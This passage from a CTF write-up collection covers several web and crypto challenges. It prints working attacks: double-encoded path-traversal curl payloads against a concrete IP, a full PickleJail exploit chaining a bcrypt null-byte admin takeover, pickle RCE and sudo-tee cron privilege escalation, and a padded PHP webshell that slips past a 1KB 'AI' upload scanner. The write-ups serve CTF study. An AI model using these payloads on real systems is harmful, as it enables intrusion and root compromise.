&nbsp; &nbsp;&nbsp;"716e567a0020e4bfe6cd28302c75a03a"
)

# 反推校验函数输入,也就是相邻混淆后的 buf
solutions = []

for&nbsp;last&nbsp;in&nbsp;range(256):
&nbsp; &nbsp; a = [0] * 32
&nbsp; &nbsp; a[0] = target[0] ^ last

&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1, 32):
&nbsp; &nbsp; &nbsp; &nbsp; a[i] = target[i] ^ a[i - 1]

&nbsp; &nbsp; buf = [0] * 32
&nbsp; &nbsp; buf[0] = a[0] ^ 0x34

&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1, 32):
&nbsp; &nbsp; &nbsp; &nbsp; buf[i] = a[i] ^ buf[i - 1]

&nbsp; &nbsp;&nbsp;if&nbsp;buf[31] == last:
&nbsp; &nbsp; &nbsp; &nbsp; solutions.append(buf)

assert len(solutions) == 1
mid = solutions[0]

# 反推相邻字节混淆
cands = [[mid[31]]]

for&nbsp;k&nbsp;in&nbsp;range(30, -1, -1):
&nbsp; &nbsp; new_cands = []

&nbsp; &nbsp;&nbsp;for&nbsp;suffix&nbsp;in&nbsp;cands:
&nbsp; &nbsp; &nbsp; &nbsp; nxt = suffix[0]

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;x&nbsp;in&nbsp;range(256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v = x ^ (((x % 18) + nxt + 5) ^ 0x34)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &= 0xff

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;v == mid[k]:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_cands.append([x] + suffix)

&nbsp; &nbsp; cands = new_cands

for&nbsp;arr&nbsp;in&nbsp;cands:
&nbsp; &nbsp; s = bytes(arr)
&nbsp; &nbsp;&nbsp;if&nbsp;s.startswith(b"flag{") and s.endswith(b"}"):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(s.decode())

flag{wnNCZJbBOqL3QA1C1cypiKYII4}

SimpleSocket

题目提供 4 个文件:

| 文件 | 类型 | 说明 | | — | — | — | | py | Python 源码 | 通信协议实现 | | packet1 | Hex 字符串 | 抓包数据 1 | | packet2 | PEM 私钥 | 抓包数据 2 | | packet3 | Hex 字符串 | 抓包数据 3 |

分析过程

1. 阅读源码

py 文件实现了一个基于 socket 的加密通信协议:

# 服务端生成 RSA 密钥对
private_key, public_key = generate_rsa_keys() &nbsp;# RSA-1024

# 客户端逻辑
aes_key = os.urandom(16) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 随机生成 16 字节 AES 密钥
encrypted_aes_key = PKCS1_OAEP.encrypt(aes_key) &nbsp; &nbsp; &nbsp;&nbsp;# 用 RSA 公钥加密 AES 密钥
s.sendall(encrypted_aes_key) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 发送给服务端

# 服务端逻辑

aes_key = PKCS1_OAEP.decrypt(encrypted_aes_key) &nbsp; &nbsp; &nbsp;&nbsp;# 用 RSA 私钥解密得到 AES 密钥
encrypted_flag = AES.new(aes_key, ECB).encrypt(flag) &nbsp;&nbsp;# 用 AES-ECB 加密 flag
conn.sendall(encrypted_flag) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 发送给客户端

通信流程如下:

Client &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Server
&nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |
&nbsp; | &nbsp;① encrypted_aes_key (RSA) &nbsp; |
&nbsp; | &nbsp;──────────────────────────► &nbsp;|
&nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;RSA 解密得到 aes_key
&nbsp; | &nbsp;② encrypted_flag (AES-ECB) &nbsp;| &nbsp;AES 加密 flag
&nbsp; | &nbsp;◄────────────────────────── &nbsp;|
&nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |

2. 对应 packet 文件

结合源码和 file 命令识别结果:

  • packet2 → RSA 私钥(PEM 格式,含 \n 转义符)
  • packet3 → 客户端发送的 RSA 加密后的 AES 密钥(hex 编码)
  • packet1 → 服务端返回的 AES-ECB 加密后的 flag(hex 编码)

3. 解密链路

拥有 RSA 私钥即可还原整个通信:

packet3 (hex→bytes) ──RSA-OAEP解密(packet2)──► AES密钥 ──AES-ECB解密──► packet1 → flag

解题脚本

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.Padding import unpad

# 读取 RSA 私钥
with open("packet2",&nbsp;"r") as f:
&nbsp; &nbsp; private_key_pem = f.read().strip().replace("\\n",&nbsp;"\n")

# 读取 RSA 加密的 AES 密钥
with open("packet3",&nbsp;"r") as f:
&nbsp; &nbsp; encrypted_aes_key = bytes.fromhex(f.read().strip())

# 读取 AES 加密的 flag
with open("packet1",&nbsp;"r") as f:
&nbsp; &nbsp; encrypted_flag = bytes.fromhex(f.read().strip())

# Step 1: RSA-OAEP 解密 AES 密钥
rsa_key = RSA.import_key(private_key_pem)
cipher_rsa = PKCS1_OAEP.new(rsa_key)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)

# Step 2: AES-ECB 解密 flag
cipher_aes = AES.new(aes_key, AES.MODE_ECB)
flag = unpad(cipher_aes.decrypt(encrypted_flag), AES.block_size)
print(flag.decode())

flag{28b0e93d-1b8c-40ff-9075-2049102f1e26

Info2Exploit

信息收集

端点枚举

访问目标站点,发现以下页面:

| 路径 | 功能 | | — | — | | GET / | 首页,展示 3 篇公开文章 | | GET /about | 架构说明,泄露组件和版本信息 | | GET /repo | Git 仓库页,提示 “Private Protection” 模式 | | GET /search?q= | 全文搜索 | | GET /article?id= | 文章阅读器 —— 核心攻击面 |

/about 页面关键信息:

Server: Werkzeug/3.1.8 Python/3.9.25
Custom HTTP Parser (C++) with URL decoding
HyperGuard WAF 3.1.0

/repo 页面关键信息:

System Alert: This warehouse is currently in "Private Protection" mode.
Recent maintenance records mention an archived migration note
that is no longer listed on the portal.

隐藏文档发现

通过 /search?q=migration 发现第 4 篇隐藏文档 _ops_snapshot_notice.md

# Archived Migration Note
A maintenance record from the previous storage migration was retained
in the archive set after the public index was rebuilt.

The internal package label `node_flag.txt` was kept during that migration,
and the archived note still references the old hidden snapshot namespace
used by the storage service.

Some legacy sync clients also replay archived requests using
older encoding behavior during fallback.

线索关键词收集

从各页面提取可能用作路径组件的关键词:

| 来源 | 原文 | 关键词 | | — | — | — | | /repo | “Private Protection” mode | private | | _ops_snapshot_notice.md | “old hidden snapshot namespace” | snapshot.snapshot (hidden→dot prefix) | | _ops_snapshot_notice.md | “archive set” | archive.archive | | _ops_snapshot_notice.md | “internal package label node_flag.txt” | node_flag.txt | | _ops_snapshot_notice.md | “storage migration” | migration | | /about | 架构信息 | 确认 WAF + 双解码绕过方向 |

漏洞分析

WAF 绕过:双重 URL 编码

请求经过两层 URL 解码——自定义 C++ HTTP 解析器在 WAF 之前解码一次,Werkzeug 在 WAF 之后解码第二次:

%252F &nbsp;→ &nbsp;C++ 解析器第1次解码 &nbsp;→ &nbsp;%2F &nbsp;→ &nbsp;WAF 检查(字面 %2F,不触发规则)→ &nbsp;PASS
%2F &nbsp; &nbsp;→ &nbsp;Werkzeug 第2次解码 &nbsp; → &nbsp;/ &nbsp; &nbsp;→ &nbsp;实际路径分隔符

WAF 的正则规则为 (\.\.\/|%2e%2e%2f)[a-zA-Z],检测 ../ 或 %2e%2e%2f 后跟字母。

使用字面点 + 编码斜杠 (..%252f) 可同时绕过两种模式:

  • \.\.\/ 不匹配 —— ..%2f 中没有字面 /%2f 是 %2f 三个字符)
  • %2e%2e%2f 不匹配 —— 点是字面的,不是编码的

验证:读取 /etc/passwd 确认路径遍历可行:

curl&nbsp;"http://TARGET:PORT/article?id=..%252f..%252f..%252fetc%252fpasswd"
# 返回 /etc/passwd 内容 —— 路径遍历确认可行

Scope Check:存储范围限制

后端对包含 .. 的路径进行 os.path.realpath() 检查,只允许存储根目录内的路径通过(以及 /etc/passwd 等白名单路径)。Scope 外的路径返回 “outside the permitted storage scope”。

关键发现:对于不存在的路径realpath() 解析失败 → 返回 Scope 错误;对于存在的目录,返回 “Directory” 错误。利用这个差异,可以逐层探测目录结构。

路径发现:逐层关键词试探

有了 WAF 绕过能力,将线索关键词作为目录名,逐层试探路径。每一步用 Directory 响应确认目标存在,再深入下一层。

第一层目录 —— 试探 ../private2

用线索关键词逐一测试 ../KEYWORD

../private &nbsp; &nbsp;→ Directory &nbsp;← 确认存在!
../snapshot &nbsp; → Scope (不存在/不在范围内)
../archive &nbsp; &nbsp;→ Scope
../migration &nbsp;→ Scope
../.snapshot &nbsp;→ Scope
../.archive &nbsp; → Scope
../...

../private 返回 Directory,确认为有效目录。”Private Protection” 的 private 作为第一层目录成立。

第二层目录 —— 在 ../private/ 下试探隐藏目录

进入 ../private/,用剩余关键词测试子目录:

../private/snapshot &nbsp; → Not Found
../private/.snapshot &nbsp;→ Directory &nbsp;← 确认存在!
../private/archive &nbsp; &nbsp;→ Not Found
../private/.archive &nbsp; → Not Found
../private/migration &nbsp;→ Not Found
../private/..

../private/.snapshot 返回 Directory。”hidden snapshot namespace” 中的 snapshot 取 .snapshot(hidden = dot 前缀)作为第二层目录成立。

读取目标文件

进入 ../private/.snapshot/,测试文件名:

../private/.snapshot/node_flag.txt &nbsp;→ FLAG! &nbsp;← 命中
../private/.snapshot/flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → Not Found
../private/.snapshot/flag.txt &nbsp; &nbsp; &nbsp; → Not Found
../private/.snapshot/secret &nbsp; &nbsp; &nbsp; &nbsp; → Not Found

.snapshot/目录下只有一个文件node_flag.txt,直接命中。

额外发现:分号参数注入

在后续探索中还发现 Flask/Werkzeug 将 ; 视为查询参数分隔符(等价于 &),但 HyperGuard WAF 不识别分号语法。利用这一点可以构造 WAF 完全不可见的参数注入:

GET /article?foo=bar;id=..%252Fprivate%252F.snapshot%252Fnode_flag.txt

WAF 只看到 foo=bar(不识别 ; 后的内容),id 参数对 WAF 完全透明。

漏洞利用

Payload

# 方法1: 纯双重编码
curl&nbsp;"http://36.213.142.135:21418/article?id=..%252fprivate%252f.snapshot%252fnode_flag.txt"

# 方法2: 分号参数注入 + 双重编码
curl&nbsp;"http://36.213.142.135:21418/article?foo=bar;id=..%252Fprivate%252F.snapshot%252Fnode_flag.txt"

请求处理流程

请求: ?id=..%252fprivate%252f.snapshot%252fnode_flag.txt
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; ┌───────────────┴───────────────┐
&nbsp; &nbsp; │ &nbsp;自定义 C++ HTTP 解析器 &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; │ &nbsp;第1次 URL 解码: %25 → % &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp;→ id = ..%2fprivate%2f.snapshot%2fnode_flag.txt
&nbsp; &nbsp; └───────────────┬───────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; ┌───────────────┴───────────────┐
&nbsp; &nbsp; │ &nbsp;HyperGuard WAF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; │ &nbsp;检测: (\.\.\/|%2e%2e%2f)[a-zA-Z]
&nbsp; &nbsp; │ &nbsp;..%2f → 无字面 /,无编码点 &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp;→ 不匹配任何模式 → PASS &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; └───────────────┬───────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; ┌───────────────┴───────────────┐
&nbsp; &nbsp; │ &nbsp;Werkzeug / Flask &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; │ &nbsp;第2次 URL 解码: %2f → / &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; │ &nbsp;→ id = ../private/.snapshot/node_flag.txt
&nbsp; &nbsp; │ &nbsp;→ realpath 解析,在存储范围内 &nbsp; │
&nbsp; &nbsp; │ &nbsp;→ 返回 flag 内容 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; └───────────────────────────────┘

Flag

flag{1jslas4jmd8agd1udk4j7jq5crs5ihr0}

PickleJail

这道题基于本地信息库和以往经验,飞快完成了认证绕过和反序列化链缩减,但一直卡在最后一步,根本原因是 AI 流程设计错误,它基于我的提示词去测试,RCE 后方向依赖人逐条指令,而 cleanup 机制又让每个测试的编写成本很高,试错效率低。

源码审计

路径穿越获取源码

/pic 端点存在路径穿越,通过 ../../app.py 等可读取任意文件:

@app.route('/pic',methods=['GET','POST'])
def&nbsp;pic():
&nbsp; &nbsp;&nbsp;if&nbsp;(pic:=request.args.get('pic'))&nbsp;and&nbsp;os.path.isfile(filepath:=f"./files/uploads/{pic}"):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;session.get('username')==b"admin":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pickle.load(open(filepath,"rb")) &nbsp;# ← 无限制 pickle 反序列化
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;f'''...{open(filepath,"r").read()[:5000]}'''

认证模块 (Users.py)

bcrypt 使用固定 salt,且 C 实现存在 null-byte 截断:

def&nbsp;register(self, username, password, salt):
&nbsp; &nbsp; username = base64.b64decode(username)
&nbsp; &nbsp;&nbsp;if&nbsp;username&nbsp;in&nbsp;self.usernames:&nbsp;return&nbsp;False
&nbsp; &nbsp; self.usernames[username] = bcrypt.hashpw(username, salt)
&nbsp; &nbsp; self.passwords[self.usernames[username]] = bcrypt.hashpw(password, salt)
&nbsp; &nbsp;&nbsp;return&nbsp;True

WAF (waf.py)

def&nbsp;waf(file):
&nbsp; &nbsp;&nbsp;if&nbsp;len(os.listdir("./files/uploads")) >=&nbsp;3:
&nbsp; &nbsp; &nbsp; &nbsp; os.system("rm -rf /app/files/uploads/*")
&nbsp; &nbsp; content = file.read().lower()
&nbsp; &nbsp;&nbsp;if&nbsp;len(content) >&nbsp;60:&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;for&nbsp;b&nbsp;in&nbsp;[b"\n",&nbsp;b"\r",&nbsp;b"\\",&nbsp;b"base",&nbsp;b"builtin",&nbsp;b"code",&nbsp;b"command",&nbsp;b"eval",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"exec",&nbsp;b"flag",&nbsp;b"flask",&nbsp;b"global",&nbsp;b"os",&nbsp;b"output",&nbsp;b"popen",&nbsp;b"pty",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"repeat",&nbsp;b"run",&nbsp;b"setstate",&nbsp;b"spawn",&nbsp;b"subprocess",&nbsp;b"sys",&nbsp;b"system",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"timeit"]:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;b&nbsp;in&nbsp;content:&nbsp;return&nbsp;False
&nbsp; &nbsp; file.seek(0)
&nbsp; &nbsp;&nbsp;return&nbsp;secure_filename(file.filename)

约束

  • 文件内容 ≤ 60 字节
  • 禁止字节:0x0A (\n)0x0D (\r)0x5C (\\)
  • 禁止 18 个子串(lowercased 检查)
  • SHORT_BINUNICODE 长度不能为 10(产生 0x0A

认证绕过

bcrypt Null-Byte 截断

admin\x00admin 的 bcrypt hash 与 admin 相同(null 字节处截断)。

注册base64("admin\x00admin") = YWRtaW4AYWRtaW4=,密码 adminpass

# 注册 admin\x00admin → 覆盖 admin 的密码哈希
usernames[b"admin\x00admin"] = bcrypt.hashpw(b"admin\x00admin", salt) &nbsp;# = hash("admin")
passwords[hash("admin")] = bcrypt.hashpw(b"adminpass", salt) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ← 覆盖!

登录:以纯 admin / adminpass 登录,session['username'] = b"admin"

代码执行(绕过 60B WAF)

.py 文件导入法

由于 WAF 限制,无法直接用 pickle 构造完整 RCE 链(所有执行原语均被拦截)。改用多层间接执行

Step A: 上传 .py 文件 → /app/files/uploads/x.py
Step B: pickle shutil.copy → /app/{mod}.py
Step C: pickle STACK_GLOBAL → import {mod} → 执行模块代码

WAF 子串绕过

所有阻塞关键字通过 Python 字符串拼接绕过:

# blocked: 'os' → bypass:
__import__('o'+'s')

# blocked: 'system' (contains 'sys') → bypass:
o.__dict__['sy'+'stem']

# blocked: 'flag' → bypass:
'/fl'+'ag'

# blocked: 'popen' → bypass:
o.__dict__['po'+'pen']

模块名长度约束

SHORT_BINUNICODE 长度 = 0x0A 被 WAF 拦截。/app/{mod}.py 路径长度:

| 模块名长度 | 路径 | 长度 | WAF | | — | — | — | — | | 1 char (a) | /app/a.py | 9 | 可行 | | 2 chars (ab) | /app/ab.py | 10 | 不可行 0x0A | | 3 chars (abc) | /app/abc.py | 11 | 可行 | | 4 chars (abcd) | /app/abcd.py | 12 | 可行 | | 5 chars (abcde) | /app/abcde.py | 13 | 不可行 0x0D |

追加模式突破 34 字符限制

单次 Python write 只能承载 ~34 字符的 shell 命令。通过多次追加写入构建长命令:

# Step 1: 创建脚本
open('/tmp/s','w').write('bash -c "{echo,...')

# Step 2-5: 追加
open('/tmp/s','a').write('FzaCAtaSA+JiAv...')

# Step 6: 执行
__import__('o'+'s').__dict__['sy'+'stem']('sh /tmp/s')

信息收集

环境信息

USER=ctf, SHELL=/bin/sh
SUDO_USER=root, SUDO_UID=0
SUDO_COMMAND=/usr/bin/python3 /app/app.py

/flag 文件

$&nbsp;stat&nbsp;/flag
&nbsp; File: /flag
&nbsp; Size: 40
&nbsp; Access: (0700/-rwx------) &nbsp;Uid: (0/root) &nbsp; Gid: (0/root)

仅 root 可读写执行,ctf 无任何权限。

SUID 二进制

/usr/bin/passwd, /usr/bin/mount, /usr/bin/umount
/usr/bin/su, /usr/bin/chfn, /usr/bin/chsh
/usr/bin/gpasswd, /usr/bin/sudo

Cron 任务

$ cat /etc/cron.d/cleanup
* * * * * root /opt/cleanup.sh

$ cat /opt/cleanup.sh
#!/bin/sh
exit&nbsp;0

每分钟以 root 执行/opt/cleanup.sh,但当前脚本只是 exit 0

提权

sudo -l

$ sudo -l
User ctf may run the following commands on d2a0824a07bf:
&nbsp; &nbsp; (root) NOPASSWD: /usr/bin/tee /opt/cleanup.sh

sudo tee能以 root 无密码覆写/opt/cleanup.sh

构造恶意脚本

#!/bin/sh
cp /fl* /tmp/f

写入 /tmp/e,然后 sudo tee 覆写 /opt/cleanup.sh

cat /tmp/e | sudo tee /opt/cleanup.sh

Cron 执行

Cron 每分钟以 root 执行 /opt/cleanup.sh → cp /fl* /tmp/f → /tmp/f 包含 flag。

读取 Flag

GET /pic?pic=../../../tmp/f

Exploit

import&nbsp;requests, time, base64

TARGET =&nbsp;"http://TARGET:PORT"
PROXIES = {"http":&nbsp;"http://127.0.0.1:7897"}

# Step 1: Register + Login as admin
s = requests.Session(); s.proxies = PROXIES
s.post(f"{TARGET}/register", data={
&nbsp; &nbsp;&nbsp;"username": base64.b64encode(b"admin\x00admin"),
&nbsp; &nbsp;&nbsp;"password": base64.b64encode(b"adminpass")
})
s.post(f"{TARGET}/login", data={
&nbsp; &nbsp;&nbsp;"username": base64.b64encode(b"admin"),
&nbsp; &nbsp;&nbsp;"password": base64.b64encode(b"adminpass")
})
ADMIN = s.cookies.get("session")

def&nbsp;step(code, mod):
&nbsp; &nbsp;&nbsp;"""Execute code via .py file import"""
&nbsp; &nbsp; SRC =&nbsp;"/app/files/uploads/x.py"
&nbsp; &nbsp; DST =&nbsp;f"/app/{mod}.py"
&nbsp; &nbsp; cp =&nbsp;b"\x80\x02\x8c\x06shutil\x8c\x04copy\x93"
&nbsp; &nbsp; cp += bytes([0x8c, len(SRC)]) + SRC.encode()
&nbsp; &nbsp; cp += bytes([0x8c, len(DST)]) + DST.encode() +&nbsp;b"\x86R."
&nbsp; &nbsp; tp =&nbsp;b"\x80\x02"&nbsp;+ bytes([0x8c, len(mod)]) + mod.encode() +&nbsp;b"\x8c\x08__name__\x93."
&nbsp; &nbsp; s2 = requests.Session(); s2.proxies = PROXIES; s2.cookies.set("session", ADMIN)
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(3):
&nbsp; &nbsp; &nbsp; &nbsp; s2.post(f"{TARGET}/", files={"file": (f"d{i}.pkl",&nbsp;b"\x80\x02.",&nbsp;"app/octet-stream")})
&nbsp; &nbsp; s2.post(f"{TARGET}/", files={"file": ("c1.pkl", cp,&nbsp;"application/octet-stream")})
&nbsp; &nbsp; s2.post(f"{TARGET}/", files={"file": ("x.py", code.encode(),&nbsp;"application/octet-stream")})
&nbsp; &nbsp; s2.post(f"{TARGET}/", files={"file": ("c1.pkl", cp,&nbsp;"application/octet-stream")})
&nbsp; &nbsp; s2.get(f"{TARGET}/pic", params={"pic":&nbsp;"c1.pkl"})
&nbsp; &nbsp; s2.post(f"{TARGET}/", files={"file": ("t1.pkl", tp,&nbsp;"application/octet-stream")})
&nbsp; &nbsp; s2.get(f"{TARGET}/pic", params={"pic":&nbsp;"t1.pkl"})

# Step 2: Write evil script to /tmp/e
step("open('/tmp/e','w').write('#!'+'/bin/sh'+chr(10))",&nbsp;"p1")
step("open('/tmp/e','a').write('cp /fl* /tmp/f'+chr(10))",&nbsp;"p2")

# Step 3: sudo tee to overwrite cron script
step("open('/tmp/s','w').write('cat /tmp/e|sudo tee /opt/cl')",&nbsp;"p3")
step("open('/tmp/s','a').write('eanup.sh')",&nbsp;"p4")
step("__import__('o'+'s').__dict__['sy'+'stem']('sh /tmp/s')",&nbsp;"p5")

# Step 4: Wait for cron, read flag
time.sleep(65)
r = requests.Session()
r.proxies = PROXIES
uid =&nbsp;"reader"
r.post(f"{TARGET}/register", data={
&nbsp; &nbsp;&nbsp;"username": base64.b64encode(uid.encode()),
&nbsp; &nbsp;&nbsp;"password": base64.b64encode(uid.encode())
})
r.post(f"{TARGET}/login", data={
&nbsp; &nbsp;&nbsp;"username": base64.b64encode(uid.encode()),
&nbsp; &nbsp;&nbsp;"password": base64.b64encode(uid.encode())
})
resp = r.get(f"{TARGET}/pic", params={"pic":&nbsp;"../../../tmp/f"})
import&nbsp;re
m = re.search(r'base64,([^"]+)', resp.text)
print(f"FLAG:&nbsp;{base64.b64decode(m.group(1))}")

Flag:flag{1jslcbnma6k72v1udk4j7jq5eis5ihsn}

MalCraft

初始侦察

端点枚举

首页 JS 及目录枚举发现以下端点:

| 端点 | 方法 | 功能 | | — | — | — | | / | GET | 主页,文件上传 UI | | /upload.php | POST | 文件上传处理 | | /analyze.php | POST | AI 内容分析,返回分析报告 JSON | | /list.php | GET | 返回已上传文件列表 JSON | | /download.php?file= | GET | 文件下载,过滤路径穿越 | | /config.php | GET | 空响应,PHP 代码无输出 | | /submit.php | POST | 提交三项证据换取 flag |

/list.php 初始返回一条记录:

{"files":[{"name":"analysis_report.pdf","path":"analysis_report.pdf","size":465}]}

/analyze.php 返回固定分析模板,不依赖实际文件:

{"success":true,"result":"AI Deep Analysis Report\n...\nOverall Score: 9.2/10"}

上传防护测试

逐层测试结果:

扩展名校验。/upload.php 对非白名单扩展名返回:

{"success":false,"message":"Unsupported file type. Only PDF, Word, and text files are allowed"}

| 上传扩展名 | 结果 | | — | — | | .php | Unsupported file type | | .pht | Unsupported file type | | .phtml | Unsupported file type | | .php5 | Unsupported file type | | .php7 | Unsupported file type | | .phar | Unsupported file type | | .shtml | Unsupported file type | | .inc | Unsupported file type | | .pdf | 进入下一层检测 | | .docx | 进入下一层检测 | | .txt | 进入下一层检测 |

MIME 类型检测。 上传 .txt 文件但包含 <?php 代码时返回:

{"success":false,"message":"MIME type detection failed, file may have been tampered with"}

使用 file 命令或 PHP finfo 检测真实内容类型,PHP 代码使 MIME 偏离 text/plain

AI 内容分析。 上传含 PHP 代码但未填充的文件时返回:

{"success":false,"message":"AI detected malicious content in the first 1KB of the file"}

通过此错误信息确认 AI 检测窗口为前 1024 字节。上传 1024+ 字节纯 ‘A’ 填充 + PHP 代码的文件通过三层防护。

download.php 路径穿越测试

测试过的绕过方式(全部返回 Invalid file path 或 File not found):

....//index.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Invalid file path &nbsp; (非递归strip不适用)
..%2findex.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → Invalid file path &nbsp; (URL编码被检测)
..%252findex.php &nbsp; &nbsp; &nbsp; &nbsp; → Invalid file path &nbsp; (双编码被检测)
..\/index.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Invalid file path &nbsp; (反斜杠被检测)
..%5c/index.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Invalid file path &nbsp; (编码反斜杠被检测)
%c0%ae%c0%ae/index.php &nbsp; → File not found &nbsp; &nbsp; &nbsp;(UTF-8过过滤但路径无效)
/etc/passwd%00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → PHP Warning &nbsp; &nbsp; &nbsp; &nbsp; (null byte触发warning但未读文件)
php://filter/... &nbsp; &nbsp; &nbsp; &nbsp; → File not found &nbsp; &nbsp; &nbsp;(file_exists不支持wrapper)
../config.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Invalid file path &nbsp; (strpos位置0严格比较)

源码审计

check_extension() — 扩展名校验

function&nbsp;check_extension($filename)&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;($filename ===&nbsp;'.htaccess') {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;
&nbsp; &nbsp; }
&nbsp; &nbsp; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
&nbsp; &nbsp;&nbsp;return&nbsp;in_array($ext, ALLOWED_EXTENSIONS);
}

.htaccess 在扩展名检测函数中被显式返回 true,不经过 ALLOWED_EXTENSIONS 白名单检查。

ai_security_check() — AI 内容检测

function&nbsp;ai_security_check($filepath)&nbsp;{
&nbsp; &nbsp; $handle = fopen($filepath,&nbsp;'r');
&nbsp; &nbsp; $header = fread($handle,&nbsp;1024);
&nbsp; &nbsp; fclose($handle);

&nbsp; &nbsp; $dangerous_keywords = ['<?php',&nbsp;'<?=',&nbsp;'eval',&nbsp;'system',&nbsp;'exec'];

&nbsp; &nbsp;&nbsp;foreach&nbsp;($dangerous_keywords&nbsp;as&nbsp;$keyword) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(stripos($header, $keyword) !==&nbsp;false) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnfalse;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returntrue;
}

约束:

  • 扫描窗口仅文件前 1024 字节
  • 仅检查 5 个关键词(<?php<?=evalsystemexec
  • 大小写不敏感匹配(stripos
  • 不检查编码变形、字符串拼接、异或编码

download.php — 文件下载

$file = $_GET['file'];
$filepath = UPLOAD_DIR . $file;

if&nbsp;(strpos($file,&nbsp;'..') !==&nbsp;false) {
&nbsp; &nbsp;&nbsp;die('Invalid file path');
}

if&nbsp;(!file_exists($filepath)) {
&nbsp; &nbsp;&nbsp;die('File not found');
}

readfile($filepath);
  • strpos 使用 !== false 严格比较
  • file_exists() 检查拼接 UPLOAD_DIR 前缀后的完整路径
  • readfile() 输出文件内容,不支持 PHP stream wrapper

Apache 配置

uploads 目录开启 AllowOverride All,允许 .htaccess 覆写配置。

上传绕过

.htaccess 上传

.htaccess 内容为 AddType application/x-httpd-php .txt,不含任何危险关键词,AI 检测直接通过:

echo&nbsp;"AddType application/x-httpd-php .txt"&nbsp;> .htaccess
curl -X POST -F&nbsp;"[email protected];filename=.htaccess"&nbsp;http://TARGET/upload.php

服务端返回:

{"success":true,"message":"AI analysis complete: document content is safe, uploaded successfully","filename":".htaccess"}

uploads 目录 AllowOverride All 使 .htaccess 中的 AddType 指令生效,该目录下所有 .txt 文件按 application/x-httpd-php MIME 处理。

webshell 上传

前 1025 字节用 # 填充,将 <?php system($_GET["cmd"]); ?> 置于 AI 扫描窗口之外:

